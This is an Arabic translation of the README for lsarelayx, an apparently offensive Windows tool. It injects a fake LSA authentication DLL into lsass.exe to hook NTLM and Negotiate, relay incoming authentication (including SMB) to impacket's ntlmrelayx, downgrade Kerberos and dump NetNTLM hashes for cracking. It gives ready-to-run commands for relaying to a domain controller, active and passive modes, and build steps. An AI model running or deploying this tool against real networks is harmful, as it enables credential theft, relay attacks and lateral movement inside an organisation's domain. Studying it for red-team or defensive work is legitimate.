
أداة ترحيل NTLM على مستوى النظام تقوم بربط واجهات برمجة تطبيقات المصادقة في Windows لترحيل اتصالات NTLM الواردة، وتخفيض Kerberos، واستخراج تجزئات NetNTLM للتكسير دون اتصال.
lsarelayx هي أداة ترحيل NTLM على مستوى النظام مصممة لترحيل محاولات المصادقة الواردة المعتمدة على NTLM إلى المضيف الذي تعمل عليه. ستعمل lsarelayx على ترحيل أي طلب مصادقة وارد بما في ذلك SMB. نظرًا لأن lsarelayx تتداخل مع تدفقات المصادقة الحالية للتطبيقات، فستحاول الأداة أيضًا خدمة طلب المصادقة الأصلي بعد اكتمال الترحيل. سيمنع هذا التطبيق/البروتوكول المستهدف من عرض الأخطاء وسيعمل بشكل طبيعي للمستخدمين النهائيين الذين يقومون بالمصادقة ضد مضيف lsarelayx.
تتكون lsarelayx من ثلاثة أجزاء. موفر مصادقة LSA وهمي تم تنفيذه داخل liblsarelay.dll، وتطبيق وحدة تحكم في وضع المستخدم كواجهة تحكم، ووحدة خادم ntlmrelayx جديدة تسمى RAW.
liblsarelayx.dll هو موفر مصادقة LSA الذي يتم تحميله بواسطة lsarelayx. الغرض الرئيسي منه هو ربط حزم NTLM وNegotiate لتسهيل إعادة توجيه طلبات المصادقة إلى lsarelayx عبر أنبوب مسمى محلي لترحيل وتفريغ تجزئات NetNTLM. تم تصميم liblsarelayx ليكون بسيطًا قدر الإمكان حيث يتم تنفيذ كل العمل الشاق بواسطة lsarelayx.
lsarelayx.exe هو تطبيق وحدة التحكم الرئيسي المستخدم لتحميل موفر مصادقة LSA المخصص (liblsarelayx.dll)، والاستماع لرموز NTLM وNegotiate الواردة من موفر المصادقة وترحيلها إلى وحدة خادم RAW الخاصة بـ ntlmrelayx. تقوم الأداة أيضًا بإجراء استعلامات LDAP المستخدمة لالتقاط معلومات المجموعة للمستخدمين المُرحّلين وإعادتها إلى موفر مصادقة LSA.
قامت impacket's ntlmrelayx بتنفيذ قدر كبير من العمل في إنشاء هجمات الترحيل وستستمر في التحسين وإضافة هجوم آخر في المستقبل. للاستفادة من هذا بدلاً من إعادة تنفيذ الهجمات مباشرة داخل lsarelayx، تم إنشاء وحدة خادم ntlmrelayx جديدة تسمى RAW. يوجد حاليًا PR مفتوح على GitHub يقوم بتنفيذ وحدة خادم RAW. وحدة خادم RAW غير مرتبطة بالبروتوكول وهي مصممة لقبول رسائل NTLM الأولية مباشرة من برامج الطرف الثالث مثل lsarelayx.
حتى يتم دمج الـ PR في مستودع impacket الرئيسي، يمكنك استخدام هذا الإصدار.
أولاً، ابدأ وحدة خادم RAW الخاصة بـ ntmlrelayx للاستماع لرسائل NTLM الأولية التي تمررها lsarelayx.
python examples\ntlmrelayx.py -smb2support --no-wcf-server --no-smb-server --no-http-server "-t" smb://dc.victim.lan
Impacket v0.9.24.dev1+20211015.125134.c0ec6102 - Copyright 2021 SecureAuth Corporation
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
[*] Running in relay mode to single host
[*] Setting up RAW Server on port 6666
[*] Servers started, waiting for connections
تتطلب lsarelayx نفسها أذونات المسؤول المحلي للتشغيل. لتشغيلها في وضع الترحيل النشط، يجب تحديد عنوان المضيف حيث يقوم ntlmrelayx بتشغيل وحدة الخادم الأولية. المنفذ الافتراضي هو 6666. يمكن تجاوز هذا باستخدام الوسيط --port، لكن تأكد من تجاوز المنفذ أيضًا على جانب ntlmrelayx باستخدام الوسيط --raw-port.
lsarelayx.exe --host 192.168.1.1
[+] Using 192.168.1.1:6666 for relaying NTLM connections
[=] Attempting to load LSA plugin C:\users\Administrator\Desktop\liblsarelayx.dll
يمكنك أيضًا تشغيل lsarelayx في الوضع السلبي عن طريق التشغيل بدون أي وسائط
lsarelayx.exe
[=] No host supplied, switching to passive mode
[=] Attempting to load LSA plugin C:\users\Administrator\Desktop\liblsarelayx.dll
بمجرد تحميل DLL liblsarelayx في lsass، لا يمكنك حاليًا إلغاء تحميله بسبب قيود كيفية عمل إضافات LSA. يمكن إغلاق العميل مما سيضع DLL في حالة سبات حتى يبدأ العميل مرة أخرى، لكن DLL سيكون قيد الاستخدام حتى إعادة التشغيل.
نظرًا لأن إضافة LSA ليست بالفعل إضافة حقيقية، فهناك خطط لتنفيذ محمل انعكاسي داخل الإضافة يمكن إيقافه وتشغيله حسب الرغبة، لكن هذا تمرين ليوم آخر.
تم إجراء التطوير على Windows 10 وServer 2016. تم إجراء اختبار سريع على Windows Server 2012 R2 والذي عمل، لكن حساب الإزاحات للربط قد يفشل على 2012 (يمكن توفير ذلك يدويًا باستخدام lookuppackage-hint=، وإذا أخطأت فسيتم إعادة تشغيل Windows). لم يتم إجراء أي اختبار على أي شيء أقل من Windows 10 على جانب سطح المكتب ولم يتم اختبار أي شيء على Server 2019 على الإطلاق.
سيتم تحميل liblsarelayx.dll داخل العملية الحرجة lsass.exe. إذا كان liblsarelayx.dll يحتوي على أي أخطاء تؤدي إلى تعطل lsass.exe، فسيتم إعادة تشغيل المضيف بعد 60 ثانية. على الرغم من بذل قصارى الجهد لكتابة كود خالٍ من الأخطاء، لا يمكنني ضمان أي شيء. لا تأتيني باكيًا لأنك أوقفت عميل Fortune 500 بسبب تعطل خادم الملفات المشغول بعد استخدام lsarelayx.
إذا كان لديك docker مثبتًا، فهذا هو الخيار الأسرع. يستخدم صورة ccob/windows_cross مع جميع تبعيات البناء المثبتة مسبقًا.
docker run --rm -it -v $env:pwd\:/root/lsarelayx ccob/windows_cross:latest /bin/bash -c "cd /root/lsarelayx; mkdir build; cd build; cmake -DCMAKE_INSTALL_PREFIX=/root/lsarelayx/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..; --build . --target install/strip"
docker run --rm -it -v $(pwd):/root/lsarelayx ccob/windows_cross:latest /bin/bash -c "cd /root/lsarelayx; mkdir build; cd build; cmake -DCMAKE_INSTALL_PREFIX=/root/lsarelayx/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..; cmake --build . --target install/strip"
على Linux نستخدم سلسلة أدوات CMake إلى جانب مترجم MinGW. يجب تثبيتها مسبقًا. بالنسبة للمكون المُدار، يرجى التأكد من تثبيت أداة سطر أوامر dotnet من .NET core.
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=$PWD/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..
cmake --build . --target install/strip
سيتطلب Windows إعداد CMake كامل وMinGW وVisual Studio قبل محاولة البناء، إنها الطريقة الأكثر إيلامًا للبناء إذا لم يكن لديك بيئة تطوير مثبتة.
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=$PWD/dist -DCMAKE_BUILD_TYPE=MinSizeRel -G "MinGW Makefiles" ..
cmake --build . --target install/strip